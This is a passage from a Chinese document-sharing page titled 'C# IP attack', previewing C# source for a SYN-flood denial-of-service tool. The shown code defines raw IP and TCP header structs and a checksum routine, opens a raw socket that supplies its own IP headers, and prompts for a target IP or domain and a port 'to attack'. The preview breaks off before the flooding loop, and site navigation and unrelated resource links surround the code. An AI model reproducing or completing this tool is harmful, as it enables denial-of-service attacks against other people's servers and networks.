没有合适的资源?快使用搜索试试~ 我知道了~
首页c# IP攻击c# IP攻击
c# IP攻击c# IP攻击
1星 需积分: 22 48 下载量 168 浏览量
更新于2023-03-03
评论
收藏 105KB PDF 举报
c# IP攻击c# IP攻击c# IP攻击c# IP攻击c# IP攻击c# IP攻击c# IP攻击c# IP攻击c# IP攻击c# IP攻击c# IP攻击c# IP攻击c# IP攻击c# IP攻击c# IP攻击c# IP攻击
资源详情
资源评论
资源推荐
using System;
using System.Net;
using System.Net.Sockets;
using System.Threading;
// 需要的命名空间不用解释了吧
namespace syn
{
public struct ipHeader
{
public byte ip_verlen; //4 位首部长度 +4 位 IP 版本号
public byte ip_tos; //8 位服务类型 TOS
public ushort ip_totallength; //16 位数据包总长度(字节)
public ushort ip_id; //16 位标识
public ushort ip_offset; //3 位标志位
public byte ip_ttl; //8 位生存时间 TTL
public byte ip_protocol; //8 位协议
(TCP, UDP,
ICMP, Etc.)
public ushort ip_checksum; //16 位 IP 首部校验和
public uint ip_srcaddr; //32 位源 IP 地址
public uint ip_destaddr; //32 位目的 IP 地址
}
public struct psdHeader
{
public uint saddr; // 源地址
public uint daddr; // 目的地址
public byte mbz;
public byte ptcl; // 协议类型
public ushort tcpl; //TCP 长度
}
public struct tcpHeader
{
public ushort th_sport; //16 位源端口
public ushort th_dport; //16 位目的端口
public int th_seq; //32 位序列号
public uint th_ack; //32 位确认号
public byte th_lenres; //4 位首部长度 /6 位保留字
public byte th_flag; //6 位标志位
public ushort th_win; //16 位窗口大小
public ushort th_sum; //16 位校验和
public ushort th_urp; //16 位紧急数据偏移量
}
// 这 3 个是 ip 首部 tcp 伪首部 tcp 首部的定义。
public class syn
{
private uint ip;
private ushort port;
private EndPoint ep;
private Random rand;
private Socket sock;
private ipHeader iph;
private psdHeader psh;
private tcpHeader tch;
public UInt16 checksum(UInt16[] buffer, int size)
{
Int32 cksum = 0;
int counter;
counter = 0;
while (size > 0)
{
UInt16 val = buffer[counter];
cksum += Convert.ToInt32(buffer[counter]);
counter += 1;
size -= 1;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16);
return (UInt16)(~cksum);
}
// 这个使用来计算校验码的我照抄 c# 实现 ping 那文章的方法, 反正 ip 协议计算校验码方法都一 样
public syn(uint _ip, ushort _port, EndPoint _ep, Random _rand)
{
ip = _ip;
port = _port;
ep = _ep;
rand = _rand;
ipHeader iph = new ipHeader();
psh = new psdHeader();
tch = new tcpHeader();
sock = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP);
sock.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, 1);
// 这 2 个挺重要,必须这样才可以自己提供 ip 头
}
// 传参数的多线程需要用到代构造函数的对象。
static void Main(string[] args)
{
Console.WriteLine("1 、输入攻击 ip 或域名 ");
try
{
IPHostEntry pe = Dns.GetHostByName(Console.ReadLine());
uint ip = Convert.ToUInt32(pe.AddressList[0].Address);// 这是要攻击的 ip 并转为网络字
节序
Console.WriteLine("2 、输入攻击端口 ");
ushort port = ushort.Parse(Console.ReadLine());
IPEndPoint ep = new IPEndPoint(pe.AddressList[0], port);
剩余17页未读,继续阅读
jiaguofu2010
- 粉丝: 0
- 资源: 13
上传资源 快速赚钱
- 我的内容管理 收起
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
会员权益专享
最新资源
- ExcelVBA中的Range和Cells用法说明.pdf
- 基于单片机的电梯控制模型设计.doc
- 主成分分析和因子分析.pptx
- 共享笔记服务系统论文.doc
- 基于数据治理体系的数据中台实践分享.pptx
- 变压器的铭牌和额定值.pptx
- 计算机网络课程设计报告--用winsock设计Ping应用程序.doc
- 高电压技术课件:第03章 液体和固体介质的电气特性.pdf
- Oracle商务智能精华介绍.pptx
- 基于单片机的输液滴速控制系统设计文档.doc
- dw考试题 5套.pdf
- 学生档案管理系统详细设计说明书.doc
- 操作系统PPT课件.pptx
- 智慧路边停车管理系统方案.pptx
- 【企业内控系列】企业内部控制之人力资源管理控制(17页).doc
- 温度传感器分类与特点.pptx
资源上传下载、课程学习等过程中有任何疑问或建议,欢迎提出宝贵意见哦~我们会及时处理!
点击此处反馈
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功
评论1